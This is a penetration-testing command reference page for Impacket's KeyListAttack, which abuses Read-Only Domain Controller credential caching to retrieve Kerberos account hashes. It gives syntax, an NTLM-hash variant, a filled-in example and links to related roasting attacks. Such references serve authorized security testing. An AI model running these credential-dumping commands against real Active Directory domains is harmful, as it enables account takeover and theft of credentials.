Impacket KeyListAttack

Abuse RODC (Read-Only DC) credential caching to retrieve hashes for accounts cached on the RODC

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: impacket-keylistattack
Category: Credential Attacks / Kerberoasting
Platform: linux
Requires: password
Protocols: KERBEROS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-keylistattack -rodcNo '<rodc_number>' -rodcKey '<aes_key>' '<domain>/<user>:<password>' -dc-ip '<ip>' -full-scan

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

impacket-keylistattack -rodcNo '<rodc_number>' -rodcKey '<aes_key>' -hashes ':<hash>' '<domain>/<user>' -dc-ip '<ip>' -full-scan

Examples

impacket-keylistattack -rodcNo '17185' -rodcKey 'aabbcc...' 'CORP.LOCAL/rodcadmin:password' -dc-ip '192.168.1.100' -full-scan

Tags

impacket rodc keylist credential-dumping kerberos

Impacket AS-REP Roast AS-REP Roasting for accounts without Kerberos Pre-Authentication
Impacket Get TGT Get TGT to be used in Kerberos authentication
Impacket Kerberoast Extract service account hashes via Kerberoasting
Impacket Targeted Kerberoast Request a TGS only for a specific service account instead of every kerberoastable user…
NetExec LDAP AS-REP Roasting Request AS-REP responses for every account with DONT_REQ_PREAUTH set and write hashes to…
NetExec LDAP Kerberoasting Request TGS tickets for every account with a SPN and write hashes to a file ready for…
NetExec LDAP Pre-Windows 2000 Accounts Enumerate pre-Windows 2000 compatible computer accounts that use the hostname as password
NetExec SMB Timeroast Exploit NTP to request hashes for computer accounts without a password (Timeroasting)